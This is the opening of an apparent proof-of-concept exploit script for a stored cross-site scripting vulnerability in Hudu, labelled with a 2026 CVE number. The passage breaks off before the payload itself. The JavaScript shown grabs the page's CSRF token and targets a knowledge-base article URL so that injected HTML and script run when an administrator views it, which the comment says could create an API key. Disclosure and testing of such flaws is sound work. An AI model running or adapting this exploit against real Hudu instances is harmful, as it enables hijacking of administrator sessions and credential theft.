justinbrick

/**
 * Hudu CVE-2026-36541 PoC
 * While any particular payload could have been used, this just demonstrates with a visual UI that could be used to generate a
 * key if ran by an administrative user.
 */
(async function() {
    const token = document.querySelector('meta[name="csrf-token"]')?.content;
    const targetUrl = window.location.origin + '/kba/{kba_id}'; // Replace {kba_id} with the target article ID

    // 1. The HTML and Script Payload to be stored in the KBA